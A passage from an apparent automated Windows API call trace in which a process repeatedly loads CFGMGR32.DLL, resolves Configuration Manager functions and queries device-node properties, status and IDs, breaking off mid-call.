GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.206] malloc (_Size=0x18) returned 0x196ef0d1e60 [0233.207] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.208] malloc (_Size=0x48) returned 0x196ef0fb590 [0233.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bdc3637, dwHighDateTime=0x1d9eb0c)) [0233.208] SetEvent (hEvent=0x248) returned 1 [0233.213] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.213] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.216] malloc (_Size=0x18) returned 0x196ef0d1e60 [0233.216] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.236] malloc (_Size=0x48) returned 0x196ef0fbae0 [0233.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bdf7da4, dwHighDateTime=0x1d9eb0c)) [0233.236] SetEvent (hEvent=0x248) returned 1 [0233.241] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.241] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.245] malloc (_Size=0x18) returned 0x196ef0d2040 [0233.245] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3b, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0233.247] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0233.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6be10018, dwHighDateTime=0x1d9eb0c)) [0233.247] SetEvent (hEvent=0x248) returned 1 [0233.290] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.290] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.293] malloc (_Size=0x18) returned 0x196ef0d2020 [0233.293] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3b, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0233.293] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0233.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6be82220, dwHighDateTime=0x1d9eb0c)) [0233.294] SetEvent (hEvent=0x248) returned 1 [0233.298] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.298] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.302] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0233.302] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0233.302] malloc (_Size=0x48) returned 0x196ef0fb630 [0233.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bea8b40, dwHighDateTime=0x1d9eb0c)) [0233.302] SetEvent (hEvent=0x248) returned 1 [0233.307] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.307] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.310] malloc (_Size=0x18) returned 0x196ef0d1f40 [0233.310] CM_Get_Device_IDA (in: dnDevInst=0x3c, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0F13\\4&22F5829E&0") returned 0x0 [0233.310] malloc (_Size=0x48) returned 0x196ef0fc080 [0233.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6bea8b40, dwHighDateTime=0x1d9eb0c)) [0233.311] SetEvent (hEvent=0x248) returned 1 [0233.314] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.314] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.315] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.315] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.315] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.315] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.316] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.316] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.316] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.316] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.316] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.316] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.317] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.317] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.317] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.317] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.317] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.317] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.317] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.318] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.318] malloc (_Size=0x18) returned 0x196ef0d1de0 [0233.318] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0233.318] malloc (_Size=0x5a) returned 0x196ef0d0610 [0233.318] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608) returned 0x0 [0233.319] free (_Block=0x196ef0d0610) [0233.319] malloc (_Size=0x48) returned 0x196ef0fb680 [0233.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6becea36, dwHighDateTime=0x1d9eb0c)) [0233.319] SetEvent (hEvent=0x248) returned 1 [0233.322] malloc (_Size=0x18) returned 0x196ef0d20c0 [0233.322] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0233.322] free (_Block=0x196ef0d20c0) [0233.322] malloc (_Size=0x18) returned 0x196ef0d1c60 [0233.322] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0233.322] free (_Block=0x196ef0d1c60) [0233.322] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0233.322] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0233.322] free (_Block=0x196ef0d1ea0) [0233.322] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854fe0 [0233.322] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0233.322] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0233.322] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0233.323] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0233.323] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0233.323] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0233.323] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0233.323] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0233.323] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e350, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.324] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e358, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.324] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e360, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.324] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0233.325] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854fe0) returned 1 [0233.325] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.325] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.326] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.327] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.329] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0233.329] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, 